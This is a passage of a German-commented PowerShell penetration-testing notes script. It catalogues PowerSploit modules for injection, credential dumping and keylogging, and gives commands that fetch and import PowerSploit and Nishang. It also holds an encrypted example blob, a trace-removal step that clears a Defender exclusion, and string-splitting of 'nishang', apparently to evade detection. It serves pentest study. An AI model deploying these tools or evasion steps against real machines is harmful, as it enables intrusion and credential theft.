Penetrations-Tester in allen Phasen einer Bewertung unterstützt werden können.
PowerSploit besteht aus folgenden Modulen und Skripten:
 
# CodeExecution
  Execute code on a target machine.
 
Invoke-DllInjection => Injects a Dll into the process ID of your choosing.
Invoke-ReflectivePEInjection => Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
? Invoke-Shellcode => Injects shellcode into the process ID of your choosing or within PowerShell locally.
Invoke-WmiCommand => Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
 
# ScriptModification
  Modify and/or prepare scripts for execution on a compromised machine.
 
Out-EncodedCommand => Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
Out-CompressedDll => Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.
Out-EncryptedScript => Encrypts text files/scripts.
Remove-Comments => Strips comments and extra whitespace from a script.
 
# Persistence
  Add persistence capabilities to a PowerShell script
 
New-UserPersistenceOption => Configure user-level persistence options for the Add-Persistence function.
New-ElevatedPersistenceOption => Configure elevated persistence options for the Add-Persistence function.
Add-Persistence => Add persistence capabilities to a script.
Install-SSP => Installs a security support provider (SSP) dll.
Get-SecurityPackages => Enumerates all loaded security packages (SSPs).
 
# AntivirusBypass
  AV doesn't stand a chance against PowerShell!
 
? Find-AVSignature => Locates single Byte AV signatures utilizing the same method as DSplit from "class101".
 
# Exfiltration
  All your data belong to me!
 
Invoke-TokenManipulation => Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
Invoke-CredentialInjection => Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).
Invoke-NinjaCopy => Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.
! Invoke-Mimikatz => Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.
* Get-Keystrokes => Logs keys pressed, time and the active window.
Get-GPPPassword => Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
Get-GPPAutologon => Retrieves Autologon username and password from registry.xml if pushed through Group Policy Preferences.
! Get-TimedScreenshot => A function that takes screenshots at a regular interval and saves them to a folder.
New-VolumeShadowCopy => Creates a new volume shadow copy.
Get-VolumeShadowCopy => Lists the device paths of all local volume shadow copies.
Mount-VolumeShadowCopy => Mounts a volume shadow copy.
Remove-VolumeShadowCopy => Deletes a volume shadow copy.
! Get-VaultCredential => Displays Windows vault credential objects including Cleartext web credentials.
! Out-Minidump => Generates a full-memory minidump of a process.
 
# Mayhem
  Cause general mayhem with PowerShell.
 
Set-MasterBootRecord => Proof of concept code that overwrites the master boot record with the message of your choice.
! Set-CriticalProcess => Causes your machine to blue screen upon exiting PowerShell.
 
# Privesc
  Tools to help with escalating privileges on a target.
 
PowerUp => Clearing house of common privilege escalation checks, along with some weaponization vectors.
 
Recon
Tools to aid in the reconnaissance phase of a penetration test.
 
* Invoke-Portscan => Does a simple port scan using regular sockets, based (pretty) loosely on nmap.
* Get-HttpStatus => Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file.
* Invoke-ReverseDnsLookup => Scans an IP address range for DNS PTR records.
Export-PowerViewCSV => Misc. helpers
Set-MacAttribute => Misc. helpers
Copy-ClonedFile => Misc. helpers
Get-IPAddress => Misc. helpers
Convert-NameToSid => Misc. helpers
Convert-SidToName => Misc. helpers
Convert-NT4toCanonical => Misc. helpers
Convert-CanonicaltoNT4 => Misc. helpers
ConvertFrom-UACValue => Misc. helpers
Get-Proxy => Misc. helpers
Get-PathAcl => Misc. helpers
Get-NameField => Misc. helpers
Convert-LDAPProperty => Misc. helpers
Get-DomainSearcher => Domain info functions below.
Get-NetDomain => Domain info functions below.
Get-NetForest => Domain info functions below.
Get-NetForestDomain => Domain info functions below.
Get-NetForestCatalog => Domain info functions below.
Get-NetDomainController => Domain info functions below.
Get-NetUser => "net *" replacements and other fun start below
Add-NetUser => "net *" replacements and other fun start below
Add-NetGroupUser => "net *" replacements and other fun start below
Get-UserProperty => "net *" replacements and other fun start below
Find-UserField => "net *" replacements and other fun start below
Get-UserEvent => "net *" replacements and other fun start below
Get-ObjectAcl => "net *" replacements and other fun start below
Add-ObjectAcl => "net *" replacements and other fun start below
Invoke-ACLScanner => "net *" replacements and other fun start below
Get-GUIDMap => "net *" replacements and other fun start below
Get-NetComputer => "net *" replacements and other fun start below
Get-ADObject => "net *" replacements and other fun start below
Set-ADObject => "net *" replacements and other fun start below
Invoke-DowngradeAccount => "net *" replacements and other fun start below
Get-ComputerProperty => "net *" replacements and other fun start below
Find-ComputerField => "net *" replacements and other fun start below
Get-NetOU => "net *" replacements and other fun start below
Get-NetSite => "net *" replacements and other fun start below
Get-NetSubnet => "net *" replacements and other fun start below
Get-DomainSID => "net *" replacements and other fun start below
Get-NetGroup => "net *" replacements and other fun start below
Get-NetGroupMember => "net *" replacements and other fun start below
Get-NetFileServer => "net *" replacements and other fun start below
Get-DFSshare => "net *" replacements and other fun start below
Get-GptTmpl => GPO related functions.
Get-GroupsXML => GPO related functions.
Get-NetGPO => GPO related functions.
Get-NetGPOGroup => GPO related functions.
Find-GPOLocation => GPO related functions.
Find-GPOComputerAdmin => GPO related functions.
Get-DomainPolicy => GPO related functions.
Get-NetLocalGroup => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect).
Get-NetShare => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect).
Get-NetLoggedon => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect).
Get-NetSession => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect).
Get-NetRDPSession => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect).
Invoke-CheckLocalAdminAccess => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect)
Get-LastLoggedOn => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect)
Get-CachedRDPConnection => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect)
Get-NetProcess => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect)
Find-InterestingFile => Functions that enumerate a single host, either through WinNT, WMI, remote registry, or API calls (with PSReflect)
Invoke-ThreadedFunction => 'Meta'-functions start below
Invoke-UserHunter => 'Meta'-functions start below
Invoke-StealthUserHunter => 'Meta'-functions start below
Invoke-ProcessHunter => 'Meta'-functions start below
Invoke-EventHunter => 'Meta'-functions start below
Invoke-ShareFinder => 'Meta'-functions start below
Invoke-FileFinder => 'Meta'-functions start below
Find-LocalAdminAccess => 'Meta'-functions start below
Get-ExploitableSystem => 'Meta'-functions start below
Invoke-EnumerateLocalAdmin => 'Meta'-functions start below
Get-NetDomainTrust => Domain trust functions below.
Get-NetForestTrust => Domain trust functions below.
Find-ForeignUser => Domain trust functions below.
Find-ForeignGroup => Domain trust functions below.
Invoke-MapDomainTrust => Domain trust functions below.
 
Recon\Dictionaries
A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.
 
admin.txt => http://cirt.net/nikto2/
generic.txt => http://sourceforge.net/projects/yokoso/files/yokoso-0.1/
sharepoint.txt => http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/
 
#>


# ! Module etablieren:
Invoke-WebRequest -Uri "https://github.com/PowerShellMafia/PowerSploit/archive/v3.0.0.zip" -OutFile "C:\Temp\PowerSploit.zip"
Expand-Archive -Path ".\PowerSploit.zip" -DestinationPath ".\"
Rename-Item -Path ".\PowerSploit-3.0.0" -NewName "PowerSploit"
Import-Module -Name ".\PowerSploit\PowerSploit.psd1" -Force -Verbose

# ! Beispiel-Code (siehe X99_Technology_DiesUndDas.ps1 zum entschlüsseln):
# ! 76492d1116743f0423413b16050a5345MgB8ADMAdwA2AFMAcQBsAEkAQgBWAFMAUgBKAFAAcwBJAE0ANwBqAGEARgBJAHcAPQA9AHwAYwBiAGQANQA4ADAAMABjADEAYgA5ADYAMAA2AGMAMgBkADQAMgA1ADYAZQA0AGEAOQA2ADUAOQBiADMAMgAzADUANgBhADAAZQA3ADEANAA3ADkAMwA2AGIAYwA1AGMAMQAwAGYAZgBmAGQAMwA0ADQAMAAyADQAMQBlAGYAMwA2ADYAOABiADMAOAAwAGIAMAA5ADYANQA3AGMAYQA4AGUAYwA0ADMAMAAyADkANgA2AGUAOABkAGMAYgAxADAANgA1ADMAMAA2AGUAOQA3ADgAMgA3ADIANAA1AGIANQA2ADcAMwBjADQANQAyADIAOQBjAGQAYgBhADQANABhADYANABlADEANgAyAGUAOQA2AGIANABhAGUAOAAzADUAZQBhAGYAMwA3ADYAOAAyAGQAMwBiADkAZAA5ADYANwA2AGQAOABmAGQAMwA1AGEANgA2ADAANgBlADkANQAxAGMAZAAwADEAMwA2AGMANABhADgAMwBmADIAZAAxAGEAZQBmADEAZQBlADEAMAA0ADAAZQBiADgAOQBkADgAMgAyADQAYgA1AGEAMAAwAGIAYQAxAGYANwA2AGYAYQA2ADcAZAA1AGEAMwBlADMAYQBiADcAMwA3AGMANQA5AGQAYgAyADYAMgAzAGMAZgAxAGYAZQA1ADMAYwAwAGYAYwAzAGQAZAA2ADMAYwA3ADMAMAAyADYAYwA4AGIAMwAzAGMAZQBiAGIAZQA2AGUAZQAxADQANgA4ADcANwBmADcAYQA2ADgAOQBiADIAYQA0AGIAZABkADMANABlAGMAZAA5AGUAMgAyADkAMgAyADAAMwA2ADUAYwBhADgAYwBiADQAMAA4ADIAZABhADQAMAAzADAANQA4ADkAZQA1AGEAYgBmAGEAZgAwADgAMAA2AGUANABjADkAMQA3ADkANwA0AGYAMQA4ADgAZQBiADkAZQBiADAAOQA1ADMAYgBhAGEAMgBiAGUAYgAyAGUAZAA0ADkAMABlADUAYgA2ADEAZAA1ADAANgBiAGEAOABiAGIANwA1ADEAOAA2AGQANQBhAGEAMgA2AGUAZgA3AGMAZABmADYAMABjAGYAZAA0ADEAYgA0ADAAMQBlADYAMgA5ADIAYQA4ADYANwA4ADUAOQA1ADUANwBiADcAZgAwADUANQA3ADkANwAyADcAOQA0AGYANgA2AGMAMQAzADkANAA4ADgAMwBlAGUAZQA3AGEANwAyADcANAA1AGYAYgBiAGIAZQAwADkAOQA3ADkANwAwAGEAOQAwADMAZgBhAGYAOQBmADgAMgA0AGQANABmAGEAOAA0ADUANwAxADMANgAyAGQAMQBkADQAMgA3ADAAYgA5ADgANAA1ADIAOQA1ADUAMQBhAGQAOQA5ADUANwBlADIAOQBjAGYAOQAwAGYAMAAwAGYAMgBhADYAOQA3AGYAOABiADIAYwAzADgANgBlADkAYwAwADQAYwBiAGIAMQAwADUAMgAwADAAYQAwADgANgBhADQAZQA1ADUAMwBhADMAYgA3ADIANABhADMAMgAxAGMAZgBjAGUAYQA3AGEAOAAxADcAZQA4ADcAYQBjAGEAOAA4AGQAZQBkADIAYgBjAGUAYgA1ADIAYgBhADkANgA4AGUAMwAzAGEAMwAxAGUAYQBlAGIANAA1AGIAZgBkADgANwBiADMAYwA5ADUAOAA4ADcANQBmADUAMQBjADgAOAAzADUAOQAyADEAYwAyAGMANAA2AGIAYgA5ADMANgBmADgANAA4AGYANAA5AGUAOQBmADkAMABhADIAMQBjADYAZgA5ADQANwBkADIAZABiAGYAZgAzAGYAYQA2AGYAZgAxADUAYQA2ADUANQAyADEANgBiADYAMgAwADUAYwAxADYAYgAzADkAMgAzADIAYQA0ADcANQBjADgAZABmADQANABhAGMAMwBjAGUAZABmADcAMwA4ADIAZQBkADcAOABkADUAMAA2ADgAOQA3AGIAYQBhADQAMQBjADQAZAAyADYAOQAxADYAMgAwADgANQA2AGUANgA4ADcAZgBiAGEAMQBmADEAYwA5ADIAZgA4ADcAYQBiADYAMgBmAGQAMAAwADgAOABhADEAYwA1ADEAMgAyAGMANQA2ADcAYgA2ADIAYQBiAGQAOQA4ADUAZQA2ADYANgBiADYAMQAyAGEANQAxADEAZQA3ADQAMABiADMAOABkAGEAZQAzADYAMQBmADgANgBjADIAMwA1ADkAZAA0ADEAOABmADYAMwBmAGEANABkADgAOQA0AGEANwAzAGIANABjADkAMwA3AGYAMwA2ADcAMgAzADIAMAAzADEAYgA2ADAANgAxADYAZQA5ADIAZQA3ADMAOABmADgAOQA3ADUAOQBlADQAYwA3ADQAMgAyADgAOQAzADYAOQA1ADUANwA0ADgANABiAGEAMQAzADcAMwBkADQAMwAwAGEAOAA1AGUAMwA2ADQANgBiADAAYQA3ADYAYgA3ADEAZAA4AGQANQBkAGYAMwBlADIAYQA1AGYAMABmAGUANQA0AGUAOAA4ADEAMQAzADgANQBjAGEAOQA2ADYANgA5ADIANQA2ADEAMQBjAGEAZQA1ADUAOAAzAGIANgA0ADQANwA0ADkAMAAzADQAMAAyAGQAMwA1AGIAMgAyAGIAMQBmAGQAZgAyAGEAYwBjADIAZgBmADAAMgBhAGMAZAA2ADgAMgBlAGQAMQAyADUAOQAwAGMANgBjAGQAMQBmAGQAMwA2AGIAOAA4ADEAZgBlADMAMQBhADkAYwA2ADYANAAxADUANQA4ADcAZQA2AGIANQBiADgAZABmADEANgA0ADAAYwAzADcANwAzADIAYwAzADYAOAAxADMAMQA5ADgANgBlAGIAZABhAGYAYwBhADYAYwA5AGMAOQBhAGQAZgA5ADcAMwAzAGMANAA5AGUAZQA3AGUAOQA3ADIAOABmADgAYgA3ADQANgAxADgANgBhAGQAMwAxAGQAMABjADcAZQA4AGMAMwBhADUANQBlAGYANQA4ADQAYgBlADkAMgAyAGMAZgBkADQAYwBmAGIANAA2ADgAMgA3ADcAZgAxAGQAYQA5AGUANgA2AGUAMQAyAGEAZAA2ADEAMgA2AGYAMABkAGQAMABmADgANwA3AGUAZABiAGMAMgAwAGQAZgBhAGEAZAA2ADYAMwA1ADUANAA0AGIAZQBhADUAYQA0AGQAMABjADEAOQA3AGYAMgA2ADUAOQAzADgAMwA0ADEAYgA1ADEANwA2ADUAZQAxADEAMgBhAGQAMwBlAGMAMwBjADUAYgBiADYAMgA0AGUAYwAxAGMANQA0ADEAYwBiADkAOQAzADQAZQBlAGYAMwBlAGIAOABmADUANgBkADQAMgAwADcAOQBmAGUAMwA4AGIAYQAzADUAOQBmADcANAAyAGMAYQAxADQANgA3ADMANwAwADQAMgA4ADkAYgBmAGUAMQBlADkAMABlADMANgBlADQAZQA0AGYAOQA2ADMAMQBmADgANwBlAGYAOQBkADEAOQBhADcAMwA3ADkAMwBiAGEAMgA1ADgAZgBlAGUAOQBhAGMANQA3AGUANABmADEANAA2AGIAMQBiADgAYwA0AGMAZQA1ADUAMwAyADIANgBlADIAOAA0ADMANgAyAGYAZQA2ADkAYwBlADAAYQA0ADQAOQA2ADYAMgA2ADcAMgA0AGQAZgBhAGMAMQAyADAAMwA0ADYAOQBlADAAZQA4ADYANwA2AGQAYgAwADAAMwA4ADkAMgAwAGEAMQBlAGQANgBjADQAMQA2ADMAOQBkAGQAYgBkAGMAMAAyAGQANQBiADcAYQBmAGIANgAzAGIANQBiAGYANgAyAGMAMQA1ADYANQBiAGMAOQAxAGEAYwBhADUAMgA3AGIAYgBjAGMANgBhAGIAZgBmADAAMgA3ADQAMQAxAGEAOAA0ADQAZgBjAGIAMwA4AGMAZAAwADQAZgAzADIAYgAwADYAYwA5ADMAMgAyADMAZQBhADkAOQAzAGEAYgBkADkAMAA1ADQAZQBiADcAZABlAGUANAAwADgAYwAzADEAZgBkAGMANAAxADEAZgA2ADIANQA1ADAAZQA2ADkAMQBkAGEAMAAwADYAZQA4ADEANQA4ADkAMQA3AGUAMwA5ADIAZABiADQANgAwAGEAZgBhADAAZgAzAGEAYwBhADcANgBkADEAZgBjAGQAMQA0AGMAYgBiAGYAOAAzADEANgBiADkANwA3ADYAYwA1ADAAYQAxADkANwA3AGMAOAA2AGUAMQA5AGMAMQBmADAAMQA5AGUAMwA4AGIAZQA4ADAAMwBjADQAZQBkADEANwBiADUAMABhAGYAMwBmAGMAOQAxADQAYgBiADkAMwAzAGEAYQA3AGQANAAzADkAYQBjAGYAYQA4ADkAMwA2ADUANwAzAGQAZABjAGYAOAA0ADcAMAA1AGYAMABhADMANgBhADIANQBhAGUAYgAwADIANAA2AGIAZgBlAGQAYwBlAGUAMQA0ADUAZAA2ADEAZAA0ADIAOQAwADMAMwBmADIAZgAzADEAYgA5ADMAMwAxADEAZAA0ADIAYwBmAGIANgBlAGQAYQAzADMAZQA0ADYAZAA4AGUAYgA5ADEAYQAxADIAYgA3ADIAZgBjAGQAMgAwAGIAMQA3AGYAMAAyADYAOABjADMAOQA5AGIAMgAxAGEAYQAzAGUAMABlAGUAMgBjAGYAZgA3ADMAZgA1ADYAZQBmAGEAYQAwADcAYQA4ADIANQBhAGIAMgBiADcANgA4AGQANwBkAGQAYwA3AGYAMgA2AGYAOAA0AGYAOQA3ADIAOQBiAGQAYwAxAGUAZQA5AGQAMQAyAGQAMgBlADgAYwA1ADAANAA1AGEANgAyAGUAZgA0AGQAYQA0AGEAZAA0ADAANgBmAGMANQBhAGUANwAwADMANAA4ADkAZABmAGEAMwA1ADkAZQBkADYANQAzADQAYQA5AGUANABlADUANgAzADIANAAyADUAZQAwADIAMwAyAGIAZAAxAGQAYQBhAGEANAAxADYAMAAwADIAMABkAGQAMgA1ADIAYwAzADAAOQBmAGQAZgAwADgAYQA4ADUANwBhAGUAOQBlAGEAMQAzADEAMwBmADIAYgA0ADkAMgA5ADcAYgBlADYANwAyAGYAZgA4ADQAYgAzAGEAYgA1AGIAYwA4ADAANAA4ADkAZABjAGUAOAAxAGIAYQA3ADQAZQAzADgANAAwADAAZABjADIAOAA3AGEAYQAyADMANwBiAGEANABkADkAZQA5AGMAMwA4AGQANwAzAGUAZQAyADgAMgA2ADAANgA1ADEAOAA3ADEAMABkADgAMwA3ADIAMwBiAGYAMAA0ADkAMwBkADAAOQA2AGQANQA2ADcAMgBiAGMAMQA0ADgAYQA4AGYAMwA0ADMAOQAxAGQAYQA0AGUAMABmADcANQBhAGEAYQAwADUAMABhAGMAZQBlAGYAOAAxADUAZgAyADIANAA0ADUAOABiADgAMQA1ADgANgBkADMAZAA4ADAANwAwADEAMwA4ADAAMQBiAGIAYwA5AGYAYwA0AGQANgAyADgAMgBmAGQANAA2ADIANgBkAGIAMgBiADkAZgAzADkAMwBmAGYAZAA3AGIAMwA4AGUAYwAwADgANQBhAGUAZgBlADIAYgA0ADkAZABmAGEAZAAxADYANwBhADQAMQAxADEAMQBmAGIAYQBhAGYANABiAGMAZQBlADgAZgA3ADEANAA4AGUAOQBhAGIAOAAyADAAMwAzAGYAMQBkADQANwA0ADkAMgBkADQANAAwAGQAYwA1ADAAMgAyADIAMwA5AGQAZgAzADkAOABiAGIAMgAwAGQAOQBmAGMAZgAwADYAYQA3AGQAZQAwADYANQAzAGMAMgA0ADMAZQA3ADEAYgBmAGMANABjADEANABhADYAZQBiADUANABjAGYAMgAyAGUAZABjADAAZgA5AGMAZgA5ADcAZQBjAGIAMgAwADIANABlADEAOQBjADQAOQAwADgAMAA1ADAANgBlADkANwA0AGMAMgAxADAAMABkAGMAYwBlAGEAMQBiADcAMwAxADkANwA3ADMAMgAzAGIAZQA4ADgAOQA0ADgANgA2AGQAOQA0ADUAZQBhAGQAZgA3ADAAZgA2ADUAOAAxAGEAYgAzADgAZAAzADIANABjADkANwA4ADQAOQBlADIAMgBjADcAZAAxADYANAAxAGQANwA3AGQAYQBkADcAZABlADIANwA3ADAAOQBlADgAOQBlAGEAOQA5AGUAMABkADUAYgAwADAAMwBlADMAMgA4AGEAOABkADYANgBiAGYAOQA1ADcAYgBjADcAOAA5ADkAYgAyADIAMwA1AGUAOQBmAGYAYQAzAGQAYwA3ADUAYwBhADQAZAA0AGYAYQA5ADcAOAA5ADMAZgBmADIAMAAzAGIAMAAzAGQANgAwAGQAYQA1ADYAMAA0ADMANQA2ADMAZQA4ADYAMQAzAGMAZQA4ADQAOQBkADUAYgBmADAAOAA4AGYAYwBjADUANAA5AGYAOABjADgANgA3AGQANQBkADAANgBiAGYAZgAyAGYAZgBhADQANAAwADgAOABmADMAMwAwADEAOQA5ADcAZgBlAGEANAA4ADQAZABiADkAZQAxAGYAZAAwAGQAMAAzADIANAA1ADkANAA4AGMAOABhAGMANwA1ADUANgBjAGEANAA1ADYAMQAzADcANQA1ADgANABmAGMAMgA4ADgAZABjAGEAZQA5ADUAMABjADcANABmAGUAYgBlADkAMQAyADQAYQA4AGMAZAA1ADEAZgA3ADYAZAAwAGQANAAzADMANgBlAGUAOQAzADkAZgBhAGQAOAA3AGUANgAxADQAYwAyAGUANQBhAGQAZgBhADEAMAA3AGYANQA2AGQAMQA1ADAAZgA5ADkANQBjADIAZAA3AGYANwA0ADEAOQAwADQAZQBlAGMAMwAxAGMAYgAwADcANgA3AGYAMwA1AGEAZQA3ADIAZQA5ADQAYgAzADgAZAA2AGEAMwA1ADQAZQA1ADcANgBjADEANgBkADIAZAA4AGQAZQBkADYANQA2AGQAZgA5ADIAYQBiADEAZQA1ADUAOAAxAGMANAA4AGMAMwA5AGEAZABiADAAYgA3ADcAOABlADIAOABhADAAZABmADQANwAwADcAOAAyADQAOQAxADMAMgAzADgAZgBjAGQAYwA2AGIAMwA2AGUANQBjAGQAYQA4AGQAMAA1ADcAMgAxAGUAYQBlAGYAMwAzADcANAA4AGQANAAxADAANwA5ADEAZAAwADMAYgA1ADUAMQA1ADQAYwAxADUANQA1ADMAYgA5AGYAYQBkAGMAMQAwAGQAOAA0ADYAZAA5ADIANwA4ADQANQBmAGQANAAxADkAOABkAGYANgA4ADEANgAyADgAYgAzAGIAZgBlAGUAMABmADMANQAzAGIAYgA0AGUANABlAGQANAAyAGQAYQA3AGIAMAAyADQAZgA0AGQAOQA2ADcANgA3ADcAMgAzADUANwBjADgAOABkADcANwA1ADUANQBkADEANwBlAGUAOQA4ADgAZABjADQANAA4AGYAYQA3AGIAOQA5AGUANgBjADkAOABiADQAZQA2ADYANgBiADQAMgAyAGUAYQA4ADEAZQBjADYAOAA5AGIAYwA3ADEANAAzADEANQA5AGQANQBiADcAZABkADIANAAyAGQAZABkADQANQBkADYANAAwADMAMwA4AGUAMwBkADUAMwBkADEAOQA1ADUAOABjADEANQAxAGMAMABmAGEANgA5AGEAOAAyAGUAMgAxAGUAZQBmAGMANQBiADgANgBiAGUANgBmADkANQAzADgAMgAyADMAYgBjADkAYQBiADYAYwBjADcAZQBhADEAOAA3ADkAYgA4ADUAMgBmADYAMAA1ADIAZQBhADkAOQAwADkAYgAzAGMAOAAzADUAOAA3AGQANgAzADkANgA0ADgANwBjAGMAMwA2ADAAMQBmAGEAMAAxAGYANgAzADAAYQA2ADEAOQA3ADQAYQBiAGIAZAA0ADAAYgBlADYAZgBmADIAYwA5AGIAYgBlAGUAYwAwAGYANQA0AGYAOQAwAGUAMABjAGEAYwA1AGUAYwAyADcAYQBhADkANQBjAGIAYQBhAGYAZAA5AGIAYwAxADEAMwBhADIAYgBiADgAYQAxADgAYwA3AGEAZAA2AGQAYwBlADIAZAA1AGIANwA1ADIAMQA4ADEAZgA2ADUAYgA5ADcAZQA0AGEANgAxADMAMgA2AGYANwAxADUAZAA4ADIANwA3AGEAMwA3AGQAYQBjAGMANQA5ADQANAAzADEANQA5ADEANQAxADUANgA0ADUANAAzAGEAZABiAGQAZQBmADUAMgA0AGIAYQBkADkANwA4ADkANQBlADcAZgBiAGYAYwA3AGQAMwBjAGIANgA3AGMAYwA2ADMANQBjAGIAZQBhADUAYwA2ADMAMgBmADYANABjADMAMwBlADAAYwA2ADYAZgAzAGYAZAA2AGQAMwAzAGMAMgBkADEANwA3AGYANQBlADcANAAxAGMAYwAyADUAZQBlADEAMABiADgAMgA1AGYANgA4ADYAZgA4ADUANgAxAGMAZQA0AGUANABhAGYAYQBhADMAZQBlAGMAZgAyADcAYwA4ADUAOAA1ADAAMgBlAGIAYgBmADcAMAAwAGYAZQBkADEANQBiADAAZABjADkAYgAwADIANQAwAGQAMQA5AGEAZQBiADEAYwBhAGQANwA4ADkAMAA0AGYAMABjAGEANgBlADkAMgA5AGMANAA4AGEAYgBmADQAOABhAGYAYQBkADEAZAA5ADgAMwAxADMAYQA5ADgAYwAwADMAYwBiADcAMAA5AGUAOABhAGMANwBlAGMAMgBjAGUAZABiADEAYgAyADEAYQAxADIAZgA1ADcAMgBhADcANQA5AGUAMABjADYANgA5ADIAMwAwAGYAYQBjAGMAYQA0AGUAYgA0AGMAZQBjADUANwAyADcAYQAwAGEAZgBmADcAMQBhAGQAOQBmADUAZQBjAGUAYQAxADEANABiAGQAYwBhADAAOQA2ADMAMAAwAGMAMABhAGYANgAzADEANwAzAGMAMABkADMAMwA3ADkAMwBhAGUANgA0ADAANQAwADEAMwA0ADQAZQA2ADEANABiADAAZgAzADcAMwBhADIAYQA2AGYAZABkAGQANgAzADIAMABjAGMAMwA4ADEANQA0AGIAMgAzAGQAMQA4ADAAOAAwAGEAYwBiADIAOQAxAGYAMQA0AGYAMAA0ADAAZAAxAGEAOQAxAGUANwBmADAAYgBiAGUAYwAyAGIAZAAxADAAZAA1ADAANgBhADkAMgAwADgANgBhADQANgBmAGIAMwBlADMAZAAyADUAMQBhAGQAOAA1ADEAYQA0ADQAOAAzAGYANQA4ADYAZAAwAGEANgA1ADUAYQBhADcAMwA5ADgANgBkAGMAOABhADQAOAAzADQAZQAzADIAMwBkADcAYgA5ADAAYgA4ADUANQA4ADgANQA1ADcAMgBkADMAZABiAGIAMgBhADAAYwBiAGUAZgA0ADAAMwBjADAAMwA3ADAAZgBiADYAZAA1ADEANwBkADEANgBmAGYAYgBmADQAZQA3ADYAOABiADgAOQAxADIAZgA1ADkANAA2AGMAYwA5ADAAYgBhADEAYQA3AGQAMQAzAGEAMwBiAGMAMgAxADMAYwBiAGYAZgBiADYAOAAxADIANQBlAGQANQAxAGYAZgA0ADIAYwBlADQANQAwADAANQBiAGYAMgBlADgANABkAGMAMwA2ADIAOAAyAGEAZQA3ADYAOQAyADIAZgBiADUANwBlAGYAMwBmADQAMQBhADAAOQA2AGEAYwAzADIANQAxADkAZgA4ADMANABiADMANQBjAGEAYQAwADMAMQBhADUAZQBjADYAZAA2AGMAYgBkAGMAOABjADEAOQBkAGUAZQBjADQAZQAyADcAMQAxADIAYQBiADIAYQBlAGYANAA4AGYAYwAxAGIANwAzADAAMQBhAGIANQBlAGMAMQA5AGEAYgBlAGUANAA4ADYAYwA5AGYANgA0ADMAMAA3ADYAMQAyAGQAMgBkADEAOABlAGMAYwBjADYAOAAxADkANwA4ADYAZgA3AGMAMgBkAGEAOAA5ADQAZgBkADIAZAA0ADEAOQAwADYAMwA1ADEANABhAGIAMQBjADcAYQBhAGQANwAzADQAYwAxADQAYgBkAGIANAA1AGQANwAyAGYAOQAzAGQAYgBiAGMAZABjAGYANABmADkAOAAwAGEAOQA1ADUAOAA5ADcAOAA3ADgAYgBiADAAMwA2ADIANQA1ADAAMAA4ADIAOQAxADEAYwBmAGUAZABiAGUAZQAyADYANwA3AGUANQAwADQANwBmADAANgBjADYANAA0AGIAYgBiADkAZQA1ADgANwBjADQAZQA1AGQAMgA4ADMANQA3ADEAMwBjADgAYQBlAGUAOABlAGYAOQBhADQAYQA=

# ! Aufräumen und alle Spuren beseitigen:
Remove-Module -Name "PowerSploit" -Force -Verbose
Set-Location -Path $env:USERPROFILE
Remove-MpPreference -ExclusionPath "C:\Temp" -Force
Remove-Item -Path "C:\Temp" -Recurse -Force
Remove-Variable -Name LoadLibrary, Address, p -Force

#endregion

#region # ? Nishang

# * Nishang ist ein Penetration-Testing-Framework basierend PowerShell.

# * Letztes Update: 2018
# * Quelle: https://github.com/samratashok/nishang

# * Beschreibung
<# Nishang ist in den verschiedenen Phasen eines Sicherheitsauditprozesses nützlich und
   verfügt Skripte wie der Informationsbeschaffung, des Scannens, der Berechtigungserweiterung und viele mehr.
 
   Nützliche Links:
   https://n0where.net/powershell-penetration-testing-framework-nishang
   https://serenity-networks.com/hacking-in-windows-using-nishang-with-windows-powershell
#>
 

# ! 1. Nishang etablieren:
Invoke-WebRequest -Uri ("https://github.com/samratashok/nis"+"hang/archive/master.zip") -OutFile (".\nis"+"hang.zip")
Expand-Archive -Path (".\nis" + "hang.zip") -DestinationPath "." -Force
Rename-Item -Path (".\nis" + "hang-master") -NewName "nishang" -Force
Get-ChildItem -Path (".\nis" + "hang") -Recurse | Unblock-File
Import-Module -Name ".\nishang\nishang.psm1" -Force -Verbose

# ? Übersicht
Get-Command -Module nishang | Out-GridView -OutputMode Multiple | Get-Help -ShowWindow
Show-Command

# ! Beispiel-Code (siehe X99_Technology_DiesUndDas.ps1 zum entschlüsseln):
